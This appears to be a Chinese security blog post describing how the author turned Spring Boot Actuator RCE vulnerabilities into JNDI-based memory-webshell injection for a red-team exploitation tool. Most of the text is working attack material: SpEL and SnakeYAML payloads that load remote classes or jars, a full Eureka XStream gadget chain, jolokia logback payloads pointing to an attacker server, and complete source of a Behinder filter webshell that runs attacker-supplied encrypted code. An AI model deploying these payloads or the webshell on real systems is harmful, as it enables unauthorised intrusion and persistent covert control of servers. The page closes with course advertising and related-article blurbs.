Spring Boot RCE到内存马探索

SpringBoot Actuator RCE 漏洞总结 一、SpringBoot env 获取* 敏感信息当我们直接访问 springboot 站点时,可以看到某些 password 字段填充了*通过${name} 可以获取明文字段 2. 配置不当导致敏感信息泄露(password 打星号,而 pwd 没有打星号)参考https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA具体实现过程:例如: 我... 阅读详情

前言

SpringBootVulExploit是Spring Boot漏洞Check
list,但在真正的环境中进行漏洞利用还是有一段距离的,因此衍生出了SpringBootExploit工具。本文是对该Check
list到内存马探索之路的记录。再此过程中学到了很多知识,收获了很多,感谢神父hl0rey对我指导,才有工具诞生。

漏洞归类

Check list一共给出了十二种方法,我们首先归类一下,看有那些共同点。

  1. JNDI注入
    1. 0x04:jolokia logback JNDI RCE
    2. 0x05:jolokia Realm JNDI RCE
    3. 0x07:h2 database console JNDI RCE
  2. Restart
    1. 0x06:restart h2 database query RCE
    2. 0x09:restart logging.config logback JNDI RCE
    3. 0x0A:restart logging.config groovy RCE
    4. 0x0B:restart spring.main.sources groovy RCE
    5. 0x0C:restart spring.datasource.data h2 database RCE
  3. 其他
    1. 0x01:whitelabel error page SpEL RCE
    2. 0x02:spring cloud SnakeYAML RCE
    3. 0x03:eureka xstream deserialization RCE
    4. 0x08:mysql jdbc deserialization RCE

分类标准,第一类是都可以直接使用JNDI注入的,第二类是都会将目标环境重启启动的,第三类是无法直接利用JNDI注入的。

第一类

第一类是最容易实现的JNDI内存马注入的,遇到的问题也是最少的。

第二类

第二类是都需要对环境进行重启操作,在测试过程中很容易对环境造成不可逆的后果。所以对此并没有进行整合,未来也不会集成。

第三类

第三类是无法直接利用JNDI,并且Check list说明里面都是反弹shell、弹计算器之类操作,这对于红队的是意义很小。


漏洞规范化

写工具首先得每一个漏洞的Payload进行规范,目前支持所有的方式就是将第三类转化支持JNDI注入的方式。将第三类漏洞进行转化是繁琐的工作,每一个漏洞目前网上公开的文章都是基于check
list编写的。此过程中遇到很多问题,一度曾放弃几种方式。一开始设想过支持回显,但后来发现,反序列化执行操作都是用服务器发起了,无法做到回显,压根行不通。所有后面只做了内存马,目前只支持一种内存马后期会考虑支持更多类型的内存马。

whitelabel error page SpEL RCE

SpEL RCE 最大问题就是如何用一句话的方式实现JNDI的方式。在天下大木头的指导下我获得提示:

javax.naming.InitialContext context = new InitialContext();
context.lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3");

根据上面尝试,在测试的过程遇到某名奇妙的一些问题。

public class spel {
    public static void main(String[] args) {
        String poc = "new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()";
        String rmi = "T(javax.naming.InitialContext).lookup(\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")";
        String ldap = "new javax.naming.InitialContext().lookup(\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")";
        String calc = "T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{ 0x63,0x61,0x6c,0x63 }))";
        String poc2 = "java.lang.Class.forName(\"javax.naming.InitialContext\").getMethod(\"lookup\", String.class).invoke(Class.forName(\"javax.naming.InitialContext\").newInstance(),\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")";
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(rmi);
        StandardEvaluationContext context = new StandardEvaluationContext();
        expression.getValue(context);


    }
}

使用payload rmi时会报找不到lookup方法
image-20211228173823526
使用payload poc2也报错

image-20211228173906092

最终通过不断尝试payload
ldap是有效。但这个漏洞利用方式没在工具里集成,是因为SpEL漏洞存在有很多种情况,无法做到考虑完全,如果你发现此漏洞可以用该工具生成Payload打。

Payload 食用方法示例:http://127.0.0.1:9091/article?id=Payload
${new javax.naming.InitialContext().lookup(new String(new byte[]{ 0x6c,0x64,0x61,0x70,0x3a,0x2f,0x2f,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x31,0x33,0x38,0x39,0x2f,0x62,0x61,0x73,0x69,0x63,0x2f,0x54,0x6f,0x6d,0x63,0x61,0x74,0x4d,0x65,0x6d,0x53,0x68,0x65,0x6c,0x6c,0x33 }))}

payload生成代码:

public String SpelExpr(String cmd){

        String ldap = "${new javax.naming.InitialContext().lookup(new String(new byte[]{ ";

        StringBuilder sb = new StringBuilder();
        char[] ch = cmd.toCharArray();
        for (int i=0 ; i<ch.length; i++){
            sb.append("0x" + HexUtil.toHex(Integer.valueOf(ch[i]).intValue()));
            if (i != ch.length -1 ){
                sb.append(",");
            }
        }


        ldap += sb.append(" }))}").toString();
        System.out.println(ldap);
        return ldap;

    }

spring cloud SnakeYAML RCE

SnakeYaml RCE处理的比较特殊,一开始尝试转化JNDI的方法测试失败。JNDI注入其实是可以的,后期成功,但有一个问题 POST
/refresh
的时候会返回500,但注入是成功的(注入不成功也是,所以是无法很好的判断)。使用check
list中的jar方式返回是200。工具里面采用的是jar的方式,会判断是否注入成功。

直接JNDI注入的代码。

String yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
    "  dataSourceName: \"ldap://127.0.0.1:1389/basic/TomcatMemShell3\"\n" +
    "  autoCommit: true";

服务器远程加载jar,但这里有一个点,生成的jar要符合规范。和传统的打包方式不一样,这里要满足某种规范(具体忘记了)artsploit/yaml-
payloadY4er/yaml-payload这里给出两个项目参考生成包含内存马jar。

String bytes = "!!javax.script.ScriptEngineManager [\n" +
    "  !!java.net.URLClassLoader [[\n" +
    "    !!java.net.URL [\"http://127.0.0.1:3456/behinder3.jar\"]\n" +
    "  ]]\n" +
    "]\n";

eureka xstream deserialization RCE

eureka xstream
反序列化漏洞本质是xstream反序列化漏洞,但有一点和传统XStream漏洞利用有区别的是,eureka处理不了hashmap。得重新构造EXP。
This XStream payload is a slightly modified version of the ImageIO JDK-only
gadget chain from the Marshalsec research. The only difference here is using
LinkedHashSet to trigger the
‘jdk.nashorn.internal.objects.NativeString.hashCode()’ method. The original
payload leverages java.lang.Map to achieve the same behaviour, but Eureka’s
XStream configuration has a custom converter for mapswhich makes it unusable.
The payload above does not use Maps at all and can be used to achieve Remote
Code Execution without additional constraints.
在exploiting-spring-boot-actuators中写上面这段说明,大致意思就是eureka中不能使用hashmap,得替换成
LinkedHashSet 。网上流传的XStream的payload都是基于hashmap的,原文给的payload以及check
list的payload都是弹计算器,不能进一步的深入利用。如何构造转化成JNDI这一问题摆在我们面前,一开始踩了很多坑,后来发现YSOMAP里面集成了这个Payload。ysomap的使用方法大致类似于msf,如下图。
image-20211228174026997

但生成的payload得小改一下(将 HashMap 改成 LinkedHashSet ),经过多次测试最终成形的payload如下:

<linked-hash-set>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
                      <javax.sql.rowset.BaseRowSet>
                        <default>
                          <concurrency>1008</concurrency>
                          <escapeProcessing>true</escapeProcessing>
                          <fetchDir>1000</fetchDir>
                          <fetchSize>0</fetchSize>
                          <isolation>2</isolation>
                          <maxFieldSize>0</maxFieldSize>
                          <maxRows>0</maxRows>
                          <queryTimeout>0</queryTimeout>
                          <readOnly>true</readOnly>
                          <rowSetType>1004</rowSetType>
                          <showDeleted>false</showDeleted>
                          <dataSource>rmi://127.0.0.1:10990/Calc</dataSource>
                          <listeners/>
                          <params/>
                        </default>
                      </javax.sql.rowset.BaseRowSet>
                      <com.sun.rowset.JdbcRowSetImpl>
                        <default>
                          <iMatchColumns>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                          </iMatchColumns>
                          <strMatchColumns>
                            <null/>
                            <null/>
                            <null/>
                            <null/>
                            <null/>
                            <null/>
                            <null/>
                            <null/>
                            <null/>
                            <null/>
                          </strMatchColumns>
                        </default>
                      </com.sun.rowset.JdbcRowSetImpl>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>com.sun.rowset.JdbcRowSetImpl</class>
                      <name>getDatabaseMetaData</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</linked-hash-set>

目前没有集成这个漏洞,因为服务器端要构造一个flask框架的服务端,内容包含上面的xml文件。
目前实现方式

  1. Java直接实现Flask框架 没有现成的方式(放弃)
  2. Java直接调用命令执行python文件(失败,Java调用Runtime和cmd直接调用是有区别的)
  3. 使用jython执行python文件,脚本依赖flask依赖。要加入flask目录(不符合需求)

mysql jdbc deserialization RCE

此漏洞利用极其复杂,条件要求较多。

  1. 需要确认存在mysql驱动
  2. 版本需要5.x或者8.x
  3. 需要存在gadget依赖
  4. 记录原本的spring.datasource.url 的value,最后恢复
  5. 需要架设恶意rogue mysql server

成功率低,需要多,故目前没集成(后期可能会集成)。

jolokia logback JNDI RCE

Payload

String path = "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/" + vps
                + ":3456!/a.xml";

a.xml

String bytes = "<configuration>\n  <insertFromJNDI env-entry-name=\"ldap://" + Config.ip + ":1389/TomcatBypass/TomcatMemshell3\" as=\"appName\" />\n</configuration>";

jolokia Realm JNDI RCE

这个RCE利用方式和上面一个差不多,存在jolokia logback JNDI RCE大概率存在jolokia Realm JNDI
RCE漏洞,这里就不详细展开。

h2 database console JNDI RCE

image-20211228174056470


服务端

所有的漏洞都是要使用JNDI和HTTP服务,如果每一个都是攻击者进行使用将漏洞Payload进行适配,这会使得攻击者使用成本和时间成本就大大增大了,这也不能达到一键化,自动化的目的。一个适配所有漏洞的服务端的工具就由此而生,在神父的帮助下,找到了项目JNDIExploit。

项目解决了大部分功能,以及框架等问题,这也使得工具很快的得到阶段性的进展。
工具需求:

  1. 处理客户端发送的Payload请求,返回对应内容。

以jolokia logback JNDI RCE类型为例:
客户端要请求xx.xml文件,返回如下内容

<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>
  1. 定制内存马

和传统内存马注入有区别,JNDI是返回Class文件,直接实例化类。所以得定制化JNDI注入的内存马类文件,内存马源码如下。

package com.feihong.ldap.template;

import org.apache.catalina.LifecycleState;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import org.apache.coyote.RequestInfo;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class BehinderFilter extends ClassLoader implements Filter{
    public String cs = "UTF-8";
//    public String pwd = "eac9fa38330a7535";
    public String pwd = "02f2a5c80f47d495";
    public String path = "/ateam";
    public String filterName = "ateam666";
    public Request req = null;
    public Response resp = null;


    static {
        try {
            BehinderFilter behinderMemShell = new BehinderFilter();
            if (behinderMemShell.req != null && behinderMemShell.resp != null){
                behinderMemShell.addFilter();
            }
        } catch (Exception e){
        }
    }


    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }

    public String md5(String s) {
        String ret = null;
        try {
            MessageDigest m = MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
        } catch (Exception var4) {
        }
        return ret;
    }

    public BehinderFilter()  {
        this.setParams();
    }

    public BehinderFilter(ClassLoader c) {
        super(c);
        this.setParams();
    }


    public void setParams(){
        try {
            boolean flag = false;
            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
            for (int i=0;i<threads.length;i++){
                Thread thread = threads[i];
                if (thread != null){
                    String threadName = thread.getName();
                    if (!threadName.contains("exec") && threadName.contains("http")){
                        Object target = getField(thread,"target");
                        Object global = null;
                        if (target instanceof Runnable){
                            try {
                                global = getField(getField(getField(target,"this$0"),"handler"),"global");
                            } catch (NoSuchFieldException fieldException){
                                fieldException.printStackTrace();
                            }
                        }
                        if (global != null){
                            List processors = (List) getField(global,"processors");
                            for (i=0;i<processors.size();i++){
                                RequestInfo requestInfo = (RequestInfo) processors.get(i);
                                if (requestInfo != null){
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) getField(requestInfo,"req");
                                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
                                    Response response = request.getResponse();
                                    this.req = request;
                                    this.resp = response;
                                    flag = true;
                                    break;
                                }
                            }
                        }
                    }
                }
                if (flag){
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }


    public String addFilter() throws Exception {
        ServletContext servletContext = this.req.getServletContext();
        Filter filter = this;
        String filterName = this.filterName;
        String url = this.path;
        if (servletContext.getFilterRegistration(filterName) == null) {
            Field contextField = null;
            ApplicationContext applicationContext = null;
            StandardContext standardContext = null;
            Field stateField = null;
            FilterRegistration.Dynamic filterRegistration = null;

            String var11;
            try {
                contextField = servletContext.getClass().getDeclaredField("context");
                contextField.setAccessible(true);
                applicationContext = (ApplicationContext)contextField.get(servletContext);
                contextField = applicationContext.getClass().getDeclaredField("context");
                contextField.setAccessible(true);
                standardContext = (StandardContext)contextField.get(applicationContext);
                stateField = LifecycleBase.class.getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, LifecycleState.STARTING_PREP);
                filterRegistration = servletContext.addFilter(filterName, filter);
                filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
                Method filterStartMethod = StandardContext.class.getMethod("filterStart");
                filterStartMethod.setAccessible(true);
                filterStartMethod.invoke(standardContext, (Object[])null);
                stateField.set(standardContext, LifecycleState.STARTED);
                var11 = null;

                Class filterMap;
                try {
                    filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                } catch (Exception var22) {
                    filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
                }

                Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
                Object[] filterMaps = (Object[])((Object[])((Object[])findFilterMaps.invoke(standardContext)));
                for(int i = 0; i < filterMaps.length; ++i) {
                    Object filterMapObj = filterMaps[i];
                    findFilterMaps = filterMap.getMethod("getFilterName");
                    String name = (String)findFilterMaps.invoke(filterMapObj);
                    if (name.equalsIgnoreCase(filterName)) {
                        filterMaps[i] = filterMaps[0];
                        filterMaps[0] = filterMapObj;
                    }
                }
                String var25 = "Success";
                String var26 = var25;
                return var26;
            } catch (Exception var23) {
                var11 = var23.getMessage();
            } finally {
                stateField.set(standardContext, LifecycleState.STARTED);
            }

            return var11;
        } else {
            return "Filter already exists";
        }
    }

    public static Object getField(Object obj, String fieldName) throws Exception {
        Field f0 = null;
        Class clas = obj.getClass();

        while (clas != Object.class){
            try {
                f0 = clas.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e){
                clas = clas.getSuperclass();
            }
        }

        if (f0 != null){
            f0.setAccessible(true);
            return f0.get(obj);
        }else {
            throw new NoSuchFieldException(fieldName);
        }
    }



    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpSession session = ((HttpServletRequest)req).getSession();
        Map obj = new HashMap();
        obj.put("request", req);
        obj.put("response", resp);
        obj.put("session", session);
        try {
            session.putValue("u", this.pwd);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(this.pwd.getBytes(), "AES"));
            (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
        } catch (Exception var7) {
            var7.printStackTrace();
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[])((byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
        } catch (Exception var5) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
            return (byte[])((byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
        }
    }

    @Override
    public void destroy() {

    }
}

总结

可能是大多数人没有需求,或者是安全研究员没有打红队的原因。导致利用方式普遍都是以弹计算器为最终结果,不能进一步深入利用,导致很多漏洞不了了之。目前网上普遍分析文章,复现文章都是以弹计算器结束,但这其实与实战化的需求还存在着很远的一段路程。
写工具的时候遇到很多奇奇怪怪的问题,如果这些漏洞都能以高级漏洞利用的方式,或者不是执行命令但计算器的方式结束,其实会好很多。当然这些漏洞目前都是间接或者直接转化成JNDI的方式进行漏洞利用,这虽然也存在一定的局限性。但我觉得这是一个开端,后续有人肯定有跟多的奇思妙想的解决方案。

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

SpringBoot-Eureka-xstream-rce漏洞复现 关于SpringBoot-Eureka-xstream-rce漏洞复现的一次实战。 阅读详情

相关推荐

Spring FatJar写文件到RCE分析

目录下的所有 jar,以及JAVA HOME下系统classpath的jar,无法在其运行的时候往 app.jar classpath 中增加文件。随便选一个sun.nio.cs.ext下的类进行覆盖就OK,为了保持最小体积,抛弃其他类(需要保留ExtendedCharsets类,不然无法加载其他类)。MiscCodec是老朋友了,直接看到deserialze方法,如果clazz是Charset.class的话,会调用Charset.forName。而且还得找系统启动后没有进行过。

2401_83799022的博客 1293

Spring Boot远程代码执行漏洞与内存探索

这包括对用户输入进行验证和过滤,使用安全的执行命令的方法,限制系统对外部资源的访问,定期更新和修补系统漏洞,以及遵循安全的编程实践。我们展示了一个简单的示例来说明RCE漏洞如何在Spring Boot应用程序中被滥用,并介绍了内存的概念和工作原理。内存的工作原理是通过将恶意代码加载到受攻击系统的内存中,然后在内存中执行该代码。通过提高对这些安全问题的认识,并采取相应的防护措施,我们可以降低Spring Boot应用程序受到RCE漏洞和内存攻击的风险,从而保护系统的安全性。的方法来执行该代码。

ByteCodN的博客 350

从信息泄露到RCE:实战漏洞链构建与防御策略

在网络安全领域,信息泄露与远程代码执行(RCE)是常见的安全风险。信息泄露通常指系统无意中暴露敏感数据,如配置文件、源码或日志,其本身危害评级较低。然而,攻击者通过系统性思维,可将此类低危漏洞作为攻击链的起点,结合权限绕过、功能滥用等技术,逐步扩大攻击面,最终实现高危的RCE。其技术价值在于突破了单一防护点的限制,通过漏洞串联形成指数级破坏力,广泛应用于渗透测试、红队评估及CTF竞赛等场景。本文以Spring Boot Actuator信息泄露为切入点,深入剖析如何利用泄露的数据库凭证和配置信息,通过密码复

weixin_33824363的博客 411

Spring Boot Admin安全攻防实战:从Actuator端点渗透到微服务集群加固

Spring Boot Actuator作为应用监控的核心组件,为微服务提供了丰富的运行时信息端点。其工作原理是通过HTTP暴露应用的内部状态,包括健康检查、环境变量、日志和度量指标等。这一设计在提升运维效率的同时,也带来了显著的安全风险:不当暴露的端点可能成为攻击者获取敏感信息甚至实现横向移动的入口。在微服务架构中,Spring Boot Admin作为集中式监控面板,会聚合多个服务的Actuator端点,一旦其自身存在未授权访问或弱认证问题,攻击者便能通过它获取整个服务集群的“地图”,直接定位并攻击各个

aodanchui1057的博客 422

实战案例:记一次利用SpringBoot相关RCE-bug拿下某数字化平台系统

在一次众测项目中,对某大型企业的某套数字化平台系统进行测试,前端功能简单,就一个登录页面,也没有测试账号,由于给的测试时间不多,倒腾了半天没有发现有价值的漏洞,在快要结束的时候,试了几个报错,发现是Spring Boot框架的,仿佛间看到曙光,后续也顺利拿下RCE。通过本文的分享,希望能给大家获取到一些思路和帮助~~访问http://xx.xx.xx.xx/,打开就是一个某数字化平台登录页面,尝试了登录框可能存在的各类漏洞问题,如弱口令,用户名枚举,万能密码登录,登录验证绕过,任意密码重置等等,无果。

hackzkaq的博客 695

Springboot远程代码执行(spring cloud SnakeYAML RCE

Spring-boot远程代码执行系列(spring cloud SnakeYAML RCE

qq_50854662的博客 1348

Spring Boot Actuator端点安全风险与RCE漏洞实战深度剖析

在微服务架构中,应用监控与管理端点(如Spring Boot Actuator)是重要的运维基础设施,其核心原理是通过暴露HTTP或JMX端点来提供应用健康状态、度量指标、环境属性等运行时信息。然而,若配置不当,这些端点会带来严重的安全风险,成为攻击者利用反序列化等漏洞实施远程代码执行(RCE)的入口。从技术价值看,深入理解端点安全机制有助于构建纵深防御体系,防止敏感信息泄露和权限提升。典型的应用场景包括企业级数字化平台、云原生应用等,其中Actuator端点未授权访问结合存在漏洞的第三方库(如common

掬水月在手,弄花香满衣 362

RCE漏洞全解:从原理到实战攻防与防御体系构建

远程代码执行是网络安全领域的核心概念,指攻击者通过网络在目标系统上执行任意命令。其根本原理在于应用程序混淆了数据与代码的边界,未能对用户输入进行有效过滤与净化,导致外部输入被当作代码执行。这项技术的危害性极大,攻击者一旦利用成功,即可获得系统最高权限,进行数据窃取、文件加密或搭建攻击跳板。在应用场景上,RCE漏洞常见于Web应用、中间件及各类服务中,是红蓝对抗的焦点。本文以Log4j2、Spring Framework等经典漏洞为例,深入剖析命令注入、反序列化等核心成因,并系统阐述从代码审计、实时监控到纵深

weixin_34055787的博客 489

反序列化漏洞利用链:从ysoserial到RCE的攻防实战解析

序列化与反序列化是分布式系统和数据持久化的核心技术,用于将对象状态转换为可传输或存储的格式。其安全风险在于,反序列化过程可能自动执行对象中的特定方法,若攻击者能控制输入数据,便可构造恶意序列化流,触发危险操作。这一机制在Java、PHP、Python等语言中通过readObject、魔术方法或__reduce__等特性实现,技术价值在于揭示了数据与代码边界模糊带来的深层安全威胁。应用场景广泛涉及会话管理、RPC通信、缓存数据处理等模块。本文聚焦于反序列化漏洞的完整利用链,深入剖析如何结合ysoserial等

germmy-神一样的开发 108

从命令注入到服务漏洞:立体化挖掘RCE的实战思路

远程代码执行(RCE)是Web安全领域的核心高危漏洞,其本质在于攻击者能够通过应用层或系统层的缺陷,在目标服务器上执行任意命令。从原理上看,RCE的实现路径多样,既可能源于应用代码对用户输入的处理不当,如未过滤的参数直接拼接至系统命令函数;也可能根植于底层服务配置的疏漏,例如PHP-FPM的错误暴露或特定系统服务的已知漏洞。这类漏洞的技术价值在于其直接威胁服务器控制权,是衡量系统安全性的关键标尺。在应用场景上,RCE的挖掘不仅限于单一漏洞点,更常见于对多个中低危缺陷进行逻辑串联,形成完整的攻击链。例如,通过

weixin_34150830的博客 541

Mythos漏洞挖掘模型:从二进制到RCE的全链路AI自动化

大语言模型在网络安全中的应用正从辅助分析迈向自主漏洞挖掘。其核心在于突破传统SAST/DAST依赖源码或规则的局限,通过逆向语义流建模、跨尺度注意力与对抗性沙箱验证等机制,实现对二进制程序、模糊文档甚至API描述的深度语义理解。这种能力使模型能识别内存布局缺陷、侧信道利用路径及多层防御绕过链,显著提升零日漏洞发现效率与 exploit 生成可靠性。在金融、政务、IoT等关键基础设施场景中,该技术已支撑资产测绘、定向挖掘与补丁验证的闭环工作流。Mythos作为典型代表,凸显了AI驱动安全能力跃迁的技术路径与工

weixin_33889665的博客 460

SpringBoot安全漏洞解析与防御实践:从信息泄露到RCE攻击链

Java Web开发领域,应用安全是构建健壮系统的基石。其核心原理在于理解攻击者如何利用框架特性、配置缺陷和依赖漏洞实施入侵。从技术价值看,掌握安全防护能显著降低数据泄露、服务中断等业务风险。常见应用场景包括企业级后台管理系统、金融交易平台和物联网服务端等。本文聚焦SpringBoot框架,深入剖析其常见安全漏洞如信息泄露、依赖风险等,并提供从开发到部署的纵深防御方案,帮助开发者构建更安全的微服务应用。

weixin_34080571的博客 491

H2数据库CVE-2022-23221漏洞深度解析:从认证绕过到RCE的攻防实战

身份验证是数据库安全的第一道防线,其核心原理在于确保只有授权用户才能访问数据。在常见的认证机制中,逻辑缺陷可能导致信任边界崩塌,从而引发未授权访问漏洞。这类漏洞的技术价值在于,攻击者无需破解密码即可绕过认证,直接获取数据库最高权限,危害远超传统弱口令攻击。在Java应用开发中,嵌入式数据库因其轻量、便捷的特性,常被用于开发测试和本地缓存场景。然而,一旦配置不当或版本存在缺陷,就可能成为攻击入口。本文以H2数据库为例,深入剖析其CVE-2022-23221高危漏洞的成因与利用链。该漏洞源于TCP服务认证流程的

weixin_34161064的博客 747

ShiroAttack2工具深度解析:从Shiro-550漏洞原理到自动化攻防实战

Java Web应用安全领域,反序列化漏洞是常见的攻击面之一,其核心原理在于应用对不可信数据的反序列化处理不当,可能导致远程代码执行。Apache Shiro框架的RememberMe功能因默认硬编码AES密钥,形成了经典的Shiro-550反序列化漏洞。攻击者利用此漏洞,通过密钥爆破、构造恶意序列化链,可实现从权限获取到持久化控制。ShiroAttack2作为一款集成化工具,将探测、密钥爆破、命令执行、内存注入等攻击链自动化,极大降低了漏洞利用门槛。本文从技术实现角度,深入剖析ShiroAttack2

weixin_30879833的博客 395

从契约锁PDF验证漏洞剖析文件上传RCE的攻防实战

文件上传功能是Web应用中的常见模块,其安全风险主要源于对用户可控文件的处理不当。攻击者通过构造恶意文件,利用服务器端对文件内容解析或存储路径的缺陷,可能实现远程代码执行。这种漏洞的技术价值在于其直接危害性高,常导致服务器被完全控制。在电子签章、文档处理等应用场景中,系统需解析复杂的PDF等格式文件,若依赖的第三方库存在安全配置问题或使用不当,极易触发此类风险。本文以契约锁电子签章系统的pdfverifier组件为例,深入分析由文件上传引发的远程代码执行漏洞,探讨其利用链构造与防御方案,涉及PDF解析库的安

weixin_33795743的博客 355

未授权访问漏洞利用链实战:从单点到链路的攻防思维跃迁

在网络安全领域,未授权访问漏洞是指攻击者无需身份验证即可访问系统服务或接口。其原理在于服务配置不当,未启用或正确实施访问控制机制。这类漏洞的技术价值常被低估,实则能成为复杂攻击链的完美起点,通过串联多个漏洞点实现权限提升、横向移动和数据窃取。应用场景广泛,常见于各类中间件、监控组件和API管理界面,如Spring Boot Actuator、Redis、Swagger UI等。本文聚焦于如何将孤立的未授权访问点,如metrics未授权和Spring Cloud Gateway未授权(CVE-2022-229

weixin_33805992的博客 354

Java反序列化漏洞实战:Jackson、FastJson、XStream组件安全攻防解析

序列化与反序列化是Java等编程语言中数据持久化和网络传输的核心机制,其原理是将对象状态转换为可存储或传输的格式,并在需要时重建。然而,当反序列化过程未对输入数据进行严格校验时,攻击者可能通过构造恶意数据触发危险方法调用链,最终实现远程代码执行(RCE),这构成了严重的安全威胁。在Java生态中,广泛使用的JSON/XML解析库如Jackson、FastJson和XStream,因其默认配置或特定功能(如多态类型处理、autoType)曾多次曝出高危反序列化漏洞,成为红队攻击和高级持续性威胁(APT)中的关

weixin_30908941的博客 417

H2数据库未授权访问漏洞全解析:从环境搭建到漏洞利用的完整实验指南

本文全面解析H2数据库未授权访问漏洞,从实验环境搭建到漏洞原理分析,再到多种利用方式的实战演示。详细介绍了如何通过Docker快速搭建安全实验环境,深入剖析H2数据库控制台的配置问题,并演示了从基础未授权访问到通过JDBC URL执行命令的进阶利用方法。最后提供了全面的防御措施与最佳实践,帮助开发者和安全研究人员有效防范此类漏洞。

weixin_28455801的博客 307
上一篇: SharpImpersonation:一款基于令牌和Shellcode注入的用户模拟工具
下一篇: SSTI漏洞基础解析
AIGC小王
博客等级 码龄4年 4397粉丝 570原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值